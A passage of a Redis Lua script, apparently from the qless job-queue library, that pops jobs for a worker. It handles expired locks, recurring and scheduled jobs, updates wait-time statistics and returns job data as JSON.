if redis.call('zscore', 'ql:tracked', jid) ~= false then
redis.call('publish', 'failed', jid)
end
else
table.insert(keys, jid)
if redis.call('zscore', 'ql:tracked', jid) ~= false then
redis.call('publish', 'stalled', jid)
end
end
end
-- Now we've checked __all__ the locks for this queue the could
-- have expired, and are no more than the number requested.
-- If we got any expired locks, then we should increment the
-- number of retries for this stage for this bin
redis.call('hincrby', 'ql:s:stats:' .. bin .. ':' .. queue, 'retries', #keys)
-- If we still need jobs in order to meet demand, then we should
-- look for all the recurring jobs that need jobs run
if #keys < count then
-- This is how many jobs we've moved so far
local moved = 0
-- These are the recurring jobs that need work
local r = redis.call('zrangebyscore', key .. '-recur', 0, now, 'LIMIT', 0, (count - #keys))
for index, jid in ipairs(r) do
-- For each of the jids that need jobs scheduled, first
-- get the last time each of them was run, and then increment
-- it by its interval. While this time is less than now,
-- we need to keep putting jobs on the queue
local klass, data, priority, tags, retries, interval = unpack(redis.call('hmget', 'ql:r:' .. jid, 'klass', 'data', 'priority', 'tags', 'retries', 'interval'))
local _tags = cjson.decode(tags)
-- We're saving this value so that in the history, we can accurately
-- reflect when the job would normally have been scheduled
local score = math.floor(tonumber(redis.call('zscore', key .. '-recur', jid)))
while (score <= now) and (moved < (count - #keys)) do
-- Increment the count of how many jobs we've moved from recurring
-- to 'work'
moved = moved + 1
-- the count'th job that we've moved from this recurring job
local count = redis.call('hincrby', 'ql:r:' .. jid, 'count', 1)
-- Add this job to the list of jobs tagged with whatever tags were supplied
for i, tag in ipairs(_tags) do
redis.call('zadd', 'ql:t:' .. tag, now, jid .. '-' .. count)
redis.call('zincrby', 'ql:tags', 1, tag)
end
-- First, let's save its data
redis.call('hmset', 'ql:j:' .. jid .. '-' .. count,
'jid' , jid .. '-' .. count,
'klass' , klass,
'data' , data,
'priority' , priority,
'tags' , tags,
'state' , 'waiting',
'worker' , '',
'expires' , 0,
'queue' , queue,
'retries' , retries,
'remaining', retries,
'history' , cjson.encode({{
-- The job was essentially put in this queue at this time,
-- and not the current time
q = queue,
put = math.floor(score)
}}))
-- Now, if a delay was provided, and if it's in the future,
-- then we'll have to schedule it. Otherwise, we're just
-- going to add it to the work queue.
redis.call('zadd', key .. '-work', priority - (score / 10000000000), jid .. '-' .. count)
redis.call('zincrby', key .. '-recur', interval, jid)
score = score + interval
end
end
end
-- If we still need values in order to meet the demand, then we
-- should check if any scheduled items, and if so, we should
-- insert them to ensure correctness when pulling off the next
-- unit of work.
if #keys < count then
-- zadd is a list of arguments that we'll be able to use to
-- insert into the work queue
local zadd = {}
local r = redis.call('zrangebyscore', key .. '-scheduled', 0, now, 'LIMIT', 0, (count - #keys))
for index, jid in ipairs(r) do
-- With these in hand, we'll have to go out and find the
-- priorities of these jobs, and then we'll insert them
-- into the work queue and then when that's complete, we'll
-- remove them from the scheduled queue
table.insert(zadd, tonumber(redis.call('hget', 'ql:j:' .. jid, 'priority') or 0))
table.insert(zadd, jid)
end
-- Now add these to the work list, and then remove them
-- from the scheduled list
if #zadd > 0 then
redis.call('zadd', key .. '-work', unpack(zadd))
redis.call('zrem', key .. '-scheduled', unpack(r))
end
-- And now we should get up to the maximum number of requested
-- work items from the work queue.
for index, jid in ipairs(redis.call('zrevrange', key .. '-work', 0, (count - #keys) - 1)) do
table.insert(keys, jid)
end
end
-- Alright, now the `keys` table is filled with all the job
-- ids which we'll be returning. Now we need to get the
-- metadeata about each of these, update their metadata to
-- reflect which worker they're on, when the lock expires,
-- etc., add them to the locks queue and then we have to
-- finally return a list of json blobs
local response = {}
local state
local history
for index, jid in ipairs(keys) do
-- First, we should get the state and history of the item
state, history = unpack(redis.call('hmget', 'ql:j:' .. jid, 'state', 'history'))
history = cjson.decode(history or '{}')
history[#history]['worker'] = worker
history[#history]['popped'] = math.floor(now)
----------------------------------------------------------
-- This is the massive stats update that we have to do
----------------------------------------------------------
-- This is how long we've been waiting to get popped
local waiting = math.floor(now) - history[#history]['put']
-- Now we'll go through the apparently long and arduous process of update
local count, mean, vk = unpack(redis.call('hmget', 'ql:s:wait:' .. bin .. ':' .. queue, 'total', 'mean', 'vk'))
count = count or 0
if count == 0 then
mean = waiting
vk = 0
count = 1
else
count = count + 1
local oldmean = mean
mean = mean + (waiting - mean) / count
vk = vk + (waiting - mean) * (waiting - oldmean)
end
-- Now, update the histogram
-- - `s1`, `s2`, ..., -- second-resolution histogram counts
-- - `m1`, `m2`, ..., -- minute-resolution
-- - `h1`, `h2`, ..., -- hour-resolution
-- - `d1`, `d2`, ..., -- day-resolution
waiting = math.floor(waiting)
if waiting < 60 then -- seconds
redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 's' .. waiting, 1)
elseif waiting < 3600 then -- minutes
redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 'm' .. math.floor(waiting / 60), 1)
elseif waiting < 86400 then -- hours
redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 'h' .. math.floor(waiting / 3600), 1)
else -- days
redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 'd' .. math.floor(waiting / 86400), 1)
end
redis.call('hmset', 'ql:s:wait:' .. bin .. ':' .. queue, 'total', count, 'mean', mean, 'vk', vk)
----------------------------------------------------------
-- Add this job to the list of jobs handled by this worker
redis.call('zadd', 'ql:w:' .. worker .. ':jobs', expires, jid)
-- Update the jobs data, and add its locks, and return the job
redis.call(
'hmset', 'ql:j:' .. jid, 'worker', worker, 'expires', expires,
'state', 'running', 'history', cjson.encode(history))
redis.call('zadd', key .. '-locks', expires, jid)
local job = redis.call(
'hmget', 'ql:j:' .. jid, 'jid', 'klass', 'state', 'queue', 'worker', 'priority',
'expires', 'retries', 'remaining', 'data', 'tags', 'history', 'failure')
local tracked = redis.call('zscore', 'ql:tracked', jid) ~= false
if tracked then
redis.call('publish', 'popped', jid)
end
table.insert(response, cjson.encode({
jid = job[1],
klass = job[2],
state = job[3],
queue = job[4],
worker = job[5] or '',
tracked = tracked,
priority = tonumber(job[6]),
expires = tonumber(job[7]) or 0,
retries = tonumber(job[8]),
remaining = tonumber(job[9]),
data = cjson.decode(job[10]),
tags = cjson.decode(job[11]),
history = cjson.decode(job[12]),
failure = cjson.decode(job[13] or '{}'),
dependents = redis.call('smembers', 'ql:j:' .. jid .. '-dependents'),
-- A job in the waiting state can not have dependencies
-- because it has been popped off of a queue, which
-- means all of its dependencies have been satisfied
dependencies = {}
}))
end
if #keys > 0 then
redis.call('zrem', key .. '-work', unpack(keys))
end
return response |
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